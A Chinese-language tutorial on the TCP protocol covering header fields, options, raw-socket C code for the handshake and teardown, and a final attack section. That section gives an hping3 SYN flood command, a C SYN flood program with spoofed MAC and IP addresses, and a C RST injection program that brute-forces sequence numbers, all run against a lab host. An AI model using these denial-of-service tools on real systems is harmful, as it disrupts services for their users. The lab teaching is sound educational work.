TCP 协议分析与实践
1. 概述
1.1 简介
- Transmission Control Protocol 是一种面向连接的、可靠的、有序的、基于字节流的传输层通信协议
1.2 TCP 报文格式
- 源端口 : 识别发送连接端口
- 目的端口 : 识别接收连接端口
- 序列号 : 报文中数据第一个字节的序号, 到达 2^32-1 后再循环回到 0; TCP 字节流中每个字节都有一个序列号, 以确保有序性(排序和去重)
- SYN=1 表示初始序号(ISN, initial sequence number),数据第一个字节的序号为 ISN + 1
- SYN=0 报文中数据第一个字节的序号
- 确认号 : 通知发送端数据已接收到哪了(可靠性),并结合定时器检测和纠正丢包或延时
- 数据偏移 : 数据开始地址偏移,以 4 字节为单位,最大值为 15 (15 * 4 = 60)
- 控制位 :
- CWR 拥塞窗口减小(发送方降低发送速率)
- ECE ECN 回显(发送方接收到了一个更早的拥塞通告)
- URG 紧急数据(高优先级),紧急指针有效
- ACK 确认号有效
- PSH 指示接收方应尽快将该报文段交给应用层,而不用等待缓冲区装满
- RST 需要重新建立连接,也可用于拒绝非法报文和拒绝建立连接
- SYN 请求建立连接(SYN=1, ACK=0)或接受建立连接(SYN=1, ACK=1)
- FIN 发送方数据传输完毕,请求释放连接
- 窗口大小 : 发送者接收窗口大小,用于流量控制,即从确认号开始,本报文的发送方可以接收的字节数
- 校验和 : 用于检测报文段的传输错误,和 UDP 一样, 计算校验和也需要加上一个伪头部
- 紧急指针 : 窗口为 0 时,也可以发送,紧急指针 + 序列号 = 紧急数据最后一个字节的序号,当 URG=1 时才有意义
- 选项 : 可选项,长度为 8 的倍数,最多40字节,当数据偏移大于 5 时存在; 选项第一个字节为选项类型
1.3 IPv4 伪头部
1.4 TCP 头部常用选项
类型 | 长度 | 说明 |
---|---|---|
0 | - | 选项表结束 |
1 | - | 空操作 |
2 | 4 | 建立连接时, 使用该选项协商最大报文段长度(MSS, Maximum Segment Size), 避免本机发生 IP 分片 |
3 | 3 | 窗口扩大因子选项, 为了提高 TCP 通信吞吐量, 值范围 0-14, 窗口最终大小为 win << wscale |
4 | 2 | 选择性确认选项(Selective Acknowledgment, SACK), 是否仅重传丢失的TCP报文, 默认会重传丢包后的所有报文段 |
5 | N*8+2 | SACK 实际工作的选项, 告诉发送方本端已经收到并缓存的不连续的数据块,从而让 发送端可以据此检查并重发丢失的数据块 |
8 | 10 | 时间戳选项, 提供了较准确的计算通信双方之间的回路时间(Round Trip Time, RTT) 的方法,为 TCP 流量控制提供重要信息 |
echo 0 | sudo tee /proc/sys/net/ipv4/tcp_window_scaling # 禁用窗口扩大因子选项
echo 0 | sudo tee /proc/sys/net/ipv4/tcp_sack # 禁用选择性确认选项
echo 0 | sudo tee /proc/sys/net/ipv4/tcp_timestamps # 禁用时间戳选项
1.5 TCP 状态转换
2. TCP 编程
2.1 建立连接
- 三次握手主要是为了避免过时的重复连接再次建立连接时造成混乱;可以利用 TAO 跳过三次握手
2.2 数据收发
- TCP 支持各种拥塞控制算法,以提高收发效率,节约网络流量
数据量 | 速度 | 处理方式 |
---|---|---|
少 | 慢 | 每收到一个数据包,响应一个 ACK 保证可靠性 |
少 | 快 | 发送方会延时一段时间发送,等待更多的数据包一起发送; 接收到会延时一段时间响应 ACK, 如果还有数据包到来,只响应一个 ACK |
大 | 快 | 发送方可以连续发送数据,直到滑动窗口为 0,实现快速发送 |
2.3 关闭连接
2.4 编程实现
2.4.1 tcp.h
#ifndef __tcp_h_
#define __tcp_h_
#include <stdint.h>
#define TCP_MSS_DEFAULT 536U /* IPv4 (RFC1122, RFC2581) */
#define TCP_MSS_DESIRED 1220U /* IPv6 (tunneled), EDNS0 (RFC3226) */
#define TCP_OPT_KIND_END 0
#define TCP_OPT_KIND_NOP 1
#define TCP_OPT_KIND_MSS 2
#define TCP_OPT_KIND_WSCALE 3
#define TCP_OPT_KIND_SACK 4
struct tcphdr {
uint16_t src;
uint16_t dest;
uint32_t seq;
uint32_t ack_seq;
uint16_t reserve:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
uint16_t window;
uint16_t cksum;
uint16_t urg_ptr;
uint8_t data[0];
};
struct tcp_mss_opt {
uint8_t kind;
uint8_t lenght;
uint16_t mss;
};
struct tcp_ipv4_pseudo_header {
unsigned int src_addr;
unsigned int dest_addr;
unsigned char zero;
unsigned char protocol;
unsigned short lenght;
unsigned char data[0];
};
struct tcphdr *tcp_alloc_segment(uint16_t sport, uint16_t dport, uint32_t seq,
uint32_t ack, uint16_t doff, uint16_t win, uint16_t urg, void *data, size_t size);
void tcp_free_segment(struct tcphdr **tcp);
int tcp_socket(const char *ip, uint16_t port);
ssize_t tcp_send(int sockfd, const void *data, size_t size, int flags);
ssize_t tcp_recv(int sockfd, void *buf, size_t size, int flags);
void tcp_close(int sockfd);
void tcp_print(struct tcphdr *tcp);
unsigned short tcp_ipv4_cksum(const char *saddr, const char *daddr,
unsigned char proto, struct tcphdr *tcp, size_t size);
#endif /* __tcp_h_ */
2.4.2 tcp.c
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "tcp.h"
#include "cksum.h"
#include "common.h"
struct tcphdr *tcp_alloc_segment(uint16_t sport, uint16_t dport, uint32_t seq,
uint32_t ack, uint16_t doff, uint16_t win, uint16_t urg, void *data, size_t size)
{
struct tcphdr *tcp;
uint16_t control = 0;
uint16_t tot_len = sizeof(struct tcphdr) + size;
tcp = (struct tcphdr *) calloc(1, tot_len);
tcp->src = htons(sport);
tcp->dest = htons(dport);
tcp->seq = htonl(seq);
tcp->ack_seq = htonl(ack);
tcp->doff = doff; // 以 4 字节为单位
tcp->cwr = control >> 0;
tcp->ece = control >> 1;
tcp->urg = control >> 2;
tcp->ack = control >> 3;
tcp->psh = control >> 4;
tcp->rst = control >> 5;
tcp->syn = control >> 6;
tcp->fin = control >> 7;
tcp->window = htons(win);
tcp->urg_ptr = htons(urg);
if (NULL != data && size > 0)
memcpy(tcp->data, data, size);
return tcp;
}
void tcp_free_segment(struct tcphdr **tcp)
{
if (NULL != tcp && NULL != *tcp) {
free(*tcp);
*tcp = NULL;
}
}
int tcp_socket(const char *ip, uint16_t port)
{
int sockfd;
struct sockaddr_in addr;
if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
handle_error("socket");
memset(&addr, 0, sizeof(addr));
addr.sin_family = PF_INET;
addr.sin_port = htons(port);
inet_pton(addr.sin_family, ip, &addr.sin_addr);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
handle_error("bind");
return sockfd;
}
ssize_t tcp_send(int sockfd, const void *data, size_t size, int flags)
{
ssize_t count;
if ((count = send(sockfd, data, size, flags)) == -1)
handle_error("sendto");
return count;
}
ssize_t tcp_recv(int sockfd, void *buf, size_t size, int flags)
{
ssize_t count;
if ((count = recv(sockfd, buf, size, flags)) == -1)
handle_error("recvfrom");
return count;
}
void tcp_close(int sockfd)
{
if (close(sockfd) == -1)
handle_error("close");
}
void tcp_print(struct tcphdr *tcp)
{
printf("\n");
printf("src =%u\n", ntohs(tcp->src));
printf("dest =%u\n", ntohs(tcp->dest));
printf("seq =%u\n", ntohl(tcp->seq));
printf("ack_seq=%u\n", ntohl(tcp->ack_seq));
printf("doff =%u\n", ntohs(tcp->doff));
printf("cwr =%u\n", ntohs(tcp->cwr));
printf("ece =%u\n", ntohs(tcp->ece));
printf("urg =%u\n", ntohs(tcp->urg));
printf("ack =%u\n", ntohs(tcp->ack));
printf("psh =%u\n", ntohs(tcp->psh));
printf("rst =%u\n", ntohs(tcp->rst));
printf("syn =%u\n", ntohs(tcp->syn));
printf("fin =%u\n", ntohs(tcp->fin));
printf("win =%u\n", ntohs(tcp->window));
printf("cksum =%04x\n", ntohs(tcp->cksum));
printf("urg_ptr=%u\n", ntohs(tcp->urg_ptr));
}
unsigned short tcp_ipv4_cksum(const char *saddr, const char *daddr,
unsigned char proto, struct tcphdr *tcp, size_t size)
{
struct in_addr addr;
unsigned int hdr_len, checksum;
struct tcp_ipv4_pseudo_header *header;
hdr_len = sizeof(struct tcp_ipv4_pseudo_header) + size;
header = (struct tcp_ipv4_pseudo_header *) calloc(1, hdr_len);
if (inet_aton(saddr, &addr) == 0)
handle_error_en(EINVAL, "saddr");
header->src_addr = addr.s_addr;
if (inet_aton(daddr, &addr) == 0)
handle_error_en(EINVAL, "daddr");
header->dest_addr = addr.s_addr;
header->protocol = proto;
header->lenght = htons(size);
memcpy(header->data, tcp, size);
checksum = cksum((unsigned short *)header, hdr_len);
free(header);
return checksum;
}
2.4.3 main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>
#include "tcp.h"
#include "ipv4.h"
#define SRC_IP "192.168.2.100"
#define DEST_IP "192.168.2.200"
#define SRC_PORT 8000
#define DEST_PORT 9000
#define WIN_SIZE 64240
struct tcp_info {
int sockfd;
uint32_t seq;
uint32_t ack_seq;
};
static struct tcp_info info;
static void three_way_handshake(struct tcp_info *info)
{
int sockfd;
uint16_t opt_len;
uint16_t tot_len;
char buffer[1500];
struct tcphdr *tcp;
struct ipv4_hdr *ipv4;
struct tcp_mss_opt mss = {TCP_OPT_KIND_MSS, sizeof(struct tcp_mss_opt), htons(1460)};
sockfd = tcp_socket(DEST_IP, DEST_PORT);
opt_len = sizeof(mss);
tot_len = sizeof(struct tcphdr) + opt_len;
// 第一次握手
tcp = tcp_alloc_segment(SRC_PORT, DEST_PORT, 0xff1850d1, 0x0, tot_len / 4, WIN_SIZE, 0x0, &mss, opt_len);
tcp->syn = 1;
tcp->cksum = tcp_ipv4_cksum(SRC_IP, DEST_IP, IP_PROTO_TCP, tcp, tot_len);
tcp_send(sockfd, tcp, tot_len, 0);
tcp_free_segment(&tcp);
// 第二次握手
memset(buffer, 0, sizeof(buffer));
tcp_recv(sockfd, buffer, sizeof(buffer), 0);
ipv4 = (struct ipv4_hdr *) buffer;
tcp = (struct tcphdr *) (buffer + ipv4->ihl * 4);
tcp_print(tcp);
// 第三次握手
tcp = tcp_alloc_segment(SRC_PORT, DEST_PORT, ntohl(tcp->ack_seq), ntohl(tcp->seq) + 1, sizeof(*tcp) / 4, WIN_SIZE, 0x0, NULL, 0);
tcp->ack = 1;
tcp->cksum = tcp_ipv4_cksum(SRC_IP, DEST_IP, IP_PROTO_TCP, tcp, sizeof(*tcp));
tcp_send(sockfd, tcp, sizeof(*tcp), 0);
info->sockfd = sockfd;
info->seq = ntohl(tcp->seq);
info->ack_seq = ntohl(tcp->ack_seq);
tcp_free_segment(&tcp);
}
static void send_and_recv(struct tcp_info *info)
{
uint16_t tot_len;
char buffer[1500];
struct tcphdr *tcp;
struct ipv4_hdr *ipv4;
char *data = "Hello";
tot_len = sizeof(struct tcphdr) + strlen(data);
// 发送数据
tcp = tcp_alloc_segment(SRC_PORT, DEST_PORT, info->seq, info->ack_seq, sizeof(*tcp) / 4, WIN_SIZE, 0x0, data, strlen(data));
tcp->ack = 1;
tcp->psh = 1;
tcp->cksum = tcp_ipv4_cksum(SRC_IP, DEST_IP, IP_PROTO_TCP, tcp, tot_len);
tcp_send(info->sockfd, tcp, tot_len, 0);
tcp_free_segment(&tcp);
// 接收 ACK
memset(buffer, 0, sizeof(buffer));
tcp_recv(info->sockfd, buffer, sizeof(buffer), 0);
// 解析 ACK
ipv4 = (struct ipv4_hdr *) buffer;
tcp = (struct tcphdr *) (buffer + ipv4->ihl * 4);
tcp_print(tcp);
info->seq = ntohl(tcp->ack_seq);
info->ack_seq = ntohl(tcp->seq);
}
static void four_way_handshake(struct tcp_info *info)
{
uint16_t tot_len;
char buffer[1500];
struct tcphdr *tcp;
struct ipv4_hdr *ipv4;
tot_len = sizeof(struct tcphdr);
// 第一次挥手
tcp = tcp_alloc_segment(SRC_PORT, DEST_PORT, info->seq, info->ack_seq, sizeof(*tcp) / 4, WIN_SIZE, 0x0, NULL, 0);
tcp->ack = 1;
tcp->fin = 1;
tcp->cksum = tcp_ipv4_cksum(SRC_IP, DEST_IP, IP_PROTO_TCP, tcp, tot_len);
tcp_send(info->sockfd, tcp, tot_len, 0);
tcp_free_segment(&tcp);
// 第二次挥手, 对方可能会将 ACK 和 FIN 一起发过来
memset(buffer, 0, sizeof(buffer));
tcp_recv(info->sockfd, buffer, sizeof(buffer), 0);
ipv4 = (struct ipv4_hdr *) buffer;
tcp = (struct tcphdr *) (buffer + ipv4->ihl * 4);
tcp_print(tcp);
// 第三次挥手
if (tcp->fin == 0) {
memset(buffer, 0, sizeof(buffer));
tcp_recv(info->sockfd, buffer, sizeof(buffer), 0);
ipv4 = (struct ipv4_hdr *) buffer;
tcp = (struct tcphdr *) (buffer + ipv4->ihl * 4);
tcp_print(tcp);
}
// 第四次挥手
tcp = tcp_alloc_segment(SRC_PORT, DEST_PORT, ntohl(tcp->ack_seq), ntohl(tcp->seq) + 1, sizeof(*tcp) / 4, WIN_SIZE, 0x0, NULL, 0);
tcp->ack = 1;
tcp->cksum = tcp_ipv4_cksum(SRC_IP, DEST_IP, IP_PROTO_TCP, tcp, tot_len);
tcp_send(info->sockfd, tcp, tot_len, 0);
tcp_free_segment(&tcp);
tcp_close(info->sockfd);
}
int main(int argc, char *argv[])
{
three_way_handshake(&info);
send_and_recv(&info);
four_way_handshake(&info);
return 0;
}
2.4.5 测试
- 原始套接字没有端口的概念,收到对方的 ACK 后,由于端口不可达,内核会自动回复一个 RST 给对方
# 避免内核自动回复 RST
192.168.2.100> sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
# sudo iptables -L --line-numbers # 查看规则
# sudo iptables -D OUTPUT 1 # 删除规则
192.168.2.200> nc -l 9000
192.168.2.100> sudo tcpdump -nt -S 'tcp and port 9000'
192.168.2.100> make run
3. TCP 攻击
3.1 SYN 泛洪
- 利用三次握手的漏洞,发送大量的 SYN,造成服务器存在大量待连接状态的连接,无法再为正常访问建立新的连接
3.1.1 使用 hping3 进行 SYN 泛洪
# 启动 nginx 服务器
192.168.2.200> sudo nginx
# 使用 hping3 攻击
192.168.2.100> sudo hping3 -S -p 80 --flood --rand-source 192.168.2.200
192.168.2.100> time curl http://192.168.2.200 > /dev/null # 正常访问出现严重延时
# 被攻击主机上存在大量 SYN_RECV 状态的 TCP 连接
192.168.2.200> sudo netstat -ntp | grep 80
tcp 0 0 192.168.2.200:80 146.253.94.252:39250 SYN_RECV -
tcp 0 0 192.168.2.200:80 29.115.188.70:39238 SYN_RECV -
tcp 0 0 192.168.2.200:80 199.118.125.198:39233 SYN_RECV -
tcp 0 0 192.168.2.200:80 18.104.198.184:39254 SYN_RECV -
...........
3.1.2 自己实现 SYN 泛洪
- 自己构建以太网报文,可以伪造 MAC 地址,但是需要对方知道的 MAC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>
#include "eth.h"
#include "tcp.h"
#include "ipv4.h"
#define WIN_SIZE 64240
#define IFACE_NAME "eth0"
static void tcp_syn_flood(const char *src_mac, const char *dest_mac,
const char *src_ip, const uint16_t src_port,
const char *dest_ip, const uint16_t dest_port)
{
int sockfd;
uint16_t opt_len;
uint16_t tcp_len;
uint16_t tot_len;
struct tcphdr *tcp;
struct ipv4_hdr *ipv4;
struct eth_frame *frame;
struct tcp_mss_opt mss = {TCP_OPT_KIND_MSS, sizeof(struct tcp_mss_opt), htons(1460)};
sockfd = eth_socket(IFACE_NAME);
opt_len = sizeof(mss);
tcp_len = sizeof(struct tcphdr) + opt_len;
tot_len = sizeof(struct ipv4_hdr) + tcp_len;
tcp = tcp_alloc_segment(src_port, dest_port, 0xff1850d1, 0x0, tcp_len / 4, WIN_SIZE, 0x0, &mss, opt_len);
tcp->syn = 1;
tcp->urg = 1; // 提高优先级
tcp->cksum = tcp_ipv4_cksum(src_ip, dest_ip, IP_PROTO_TCP, tcp, tcp_len);
ipv4 = ipv4_alloc_packet(tot_len, 0x0001, IP_PROTO_TCP, src_ip, dest_ip, tcp, tcp_len);
frame = eth_alloc_frame(dest_mac, src_mac, ETH_PROTO_IP, ipv4, tot_len);
eth_send(sockfd, frame, sizeof(*frame) + tot_len, 0);
tcp_free_segment(&tcp);
ipv4_free_packet(&ipv4);
eth_free_packet(&frame);
eth_close(sockfd);
}
int main(int argc, char *argv[])
{
int i;
for (i = 0; i < 65535; i++) {
tcp_syn_flood(
"00:aa:aa:aa:aa:aa", // 伪造 MAC 地址
"00:0d:0d:0d:0d:0d",
"220.181.38.148", i, // 伪造 IP 地址
"192.168.2.200", 80
);
}
return 0;
}
# 启动 nginx 服务器
192.168.2.200> sudo nginx
# 开始攻击
192.168.2.100> make && while true; do date; sudo ./app; done
192.168.2.100> time curl http://192.168.2.200 > /dev/null # 正常访问出现严重延时
# 被攻击主机上存在大量 SYN_RECV 状态的 TCP 连接
192.168.2.200> sudo netstat -ntp | grep 80
tcp 0 0 192.168.2.200:80 2.2.2.2:37 SYN_RECV -
tcp 0 0 192.168.2.200:80 2.2.2.2:56 SYN_RECV -
tcp 0 0 192.168.2.200:80 2.2.2.2:102 SYN_RECV -
tcp 0 0 192.168.2.200:80 2.2.2.2:48 SYN_RECV -
.......
3.2 RST 拒绝服务
- 伪装成客户端发送 RST 报文,造成服务器与客户端正常通讯中断,需要知道客户端的序号和端口
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>
#include "tcp.h"
#include "ipv4.h"
#define SRC_IP "192.168.2.100"
#define DEST_IP "192.168.2.200"
#define SRC_PORT 8000
#define DEST_PORT 9000
#define WIN_SIZE 64240
static void tcp_reset_attacks(const char *src_ip, const uint16_t src_port,
const char *dest_ip, const uint16_t dest_port, uint32_t seq)
{
int sockfd;
uint16_t tcp_len;
uint16_t tot_len;
struct tcphdr *tcp;
struct ipv4_hdr *ipv4;
sockfd = ipv4_socket();
tcp_len = sizeof(struct tcphdr);
tot_len = sizeof(struct ipv4_hdr) + tcp_len;
tcp = tcp_alloc_segment(src_port, dest_port, seq, 0x0, tcp_len / 4, WIN_SIZE, 0x0, NULL, 0);
tcp->rst = 1; // 中断连接
tcp->urg = 1; // 提高优先级
tcp->cksum = tcp_ipv4_cksum(src_ip, dest_ip, IP_PROTO_TCP, tcp, tcp_len);
ipv4 = ipv4_alloc_packet(tot_len, 0x0001, IP_PROTO_TCP, src_ip, dest_ip, tcp, tcp_len);
ipv4_send(sockfd, ipv4, tot_len, dest_ip, 0);
tcp_free_segment(&tcp);
ipv4_free_packet(&ipv4);
tcp_close(sockfd);
}
int main(int argc, char *argv[])
{
uint32_t seq = 2500000000;
do {
tcp_reset_attacks(SRC_IP, SRC_PORT, DEST_IP, DEST_PORT, seq++);
} while (seq < 0xFFFFFFFF);
return 0;
}
192.168.2.200> nc -l 9000
192.168.2.100> nc -p 8000 192.168.2.200 9000
192.168.2.100> sudo ./app # 一段时间后,nc 的连接会断开
参考链接
https://tools.ietf.org/html/rfc793
https://tools.ietf.org/html/rfc1323
https://en.wikipedia.org/wiki/Transmission_Control_Protocol
http://www.medianet.kent.edu/techreports/TR2005-07-22-tcp-EFSM.pdf
https://qiuzhenyuan.github.io/2018/01/13/%E8%A7%A3%E5%89%96TCP%E6%8A%A5%E6%96%87%E6%AE%B5%E9%A6%96%E9%83%A8/
https://www.tenouk.com/Module43b.html
https://zhuanlan.zhihu.com/p/36436664
https://www.freebuf.com/column/132945.html
https://blog.csdn.net/m0_37962600/article/details/79993310